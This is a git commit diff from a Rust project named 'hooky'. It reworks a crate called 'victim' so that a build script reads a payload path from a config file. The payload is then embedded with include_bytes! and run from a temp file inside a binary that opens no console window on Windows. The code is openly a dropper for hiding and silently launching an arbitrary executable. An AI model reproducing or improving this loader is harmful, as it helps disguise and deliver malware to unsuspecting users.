~/hooky

9537b5f60d865c00b081f8bc967a1ab7bff75ca4 — Arthur Melton 0ac489c1 2 years ago
read file to run from a config!
7 files changed, 93 insertions(+), 3 deletions(-)

M .gitignore
M victim/Cargo.lock
M victim/Cargo.toml
A victim/build.rs
D victim/run
M victim/src/main.rs
M victim/src/payload.rs
M .gitignore => .gitignore +1 -0
@@ 1,5 1,6 @@

/target
/victim/target
/victim/config.toml

# Added by cargo
#

M victim/Cargo.lock => victim/Cargo.lock +64 -0
@@ 39,6 39,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index"

checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79"

[[package]]
name = "proc-macro2"
version = "1.0.49"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "57a8eca9f9c4ffde41714334dee777596264c7825420f521abc92b5b5deb63a5"
dependencies = [
 "unicode-ident",
]

[[package]]
name = "quote"
version = "1.0.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8856d8364d252a14d474036ea1358d63c9e6965c8e5c1885c18f73d70bff9c7b"
dependencies = [
 "proc-macro2",
]

[[package]]
name = "redox_syscall"
version = "0.2.16"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 57,6 75,34 @@ dependencies = [

]

[[package]]
name = "serde"
version = "1.0.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bb7d1f0d3021d347a83e556fc4683dea2ea09d87bccdf88ff5c12545d89d5efb"

[[package]]
name = "serde_derive"
version = "1.0.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "af487d118eecd09402d70a5d72551860e788df87b464af30e5ea6a38c75c541e"
dependencies = [
 "proc-macro2",
 "quote",
 "syn",
]

[[package]]
name = "syn"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1f4064b5b16e03ae50984a5a8ed5d4f8803e6bc1fd170a3cda91a1be4b18e3f5"
dependencies = [
 "proc-macro2",
 "quote",
 "unicode-ident",
]

[[package]]
name = "tempfile"
version = "3.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 71,10 117,28 @@ dependencies = [

]

[[package]]
name = "toml"
version = "0.5.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1333c76748e868a4d9d1017b5ab53171dfd095f70c712fdb4653a406547f598f"
dependencies = [
 "serde",
]

[[package]]
name = "unicode-ident"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc"

[[package]]
name = "victim"
version = "0.1.0"
dependencies = [
 "serde",
 "serde_derive",
 "tempfile",
 "toml",
]

[[package]]

M victim/Cargo.toml => victim/Cargo.toml +5 -0
@@ 8,5 8,10 @@ edition = "2021"

[dependencies]
tempfile = { version = "3.3.0", optional = true }

[build-dependencies]
serde = "1.0.152"
serde_derive = "1.0.152"
toml = "0.5.10"

[features]
payload = ["dep:tempfile"]

A victim/build.rs +20 -0
@@ 0,0 1,20 @@

use std::io::prelude::*;
use std::fs::File;
use serde_derive::Deserialize;

#[derive(Deserialize)]
struct Config {
    payload: Option<String>,
}

fn main() {
    println!("cargo:rerun-if-changed=config.toml");
    let mut file = File::open("config.toml").expect("Unable to open the file");
    let mut contents = String::new();
    file.read_to_string(&mut contents).expect("Unable to read the file");
    let config: Config = toml::from_str(&contents).expect("Cant convert to toml");
    if let Some(payload) = config.payload {
        println!("cargo:rustc-cfg=payload");
        println!("cargo:rustc-env=payload={}", payload);
    }
}

D victim/run +0 -0

                    
M victim/src/main.rs => victim/src/main.rs +2 -2
@@ 3,11 3,11 @@

    windows_subsystem = "windows"
)]

#[cfg(feature = "payload")]
#[cfg(payload)]
mod payload;

fn main() -> Result<(), std::io::Error> {
    #[cfg(feature = "payload")]
    #[cfg(payload)]
    payload::run()?;
    Ok(())
}

M victim/src/payload.rs => victim/src/payload.rs +1 -1
@@ 5,7 5,7 @@ use tempfile::NamedTempFile;

#[cfg(target_os = "windows")]
use tempfile::Builder;

const PAYLOAD: &[u8] = include_bytes!("../run");
const PAYLOAD: &[u8] = include_bytes!(env!("payload"));

pub fn run() -> Result<(), std::io::Error> {
    #[cfg(not(target_os = "windows"))]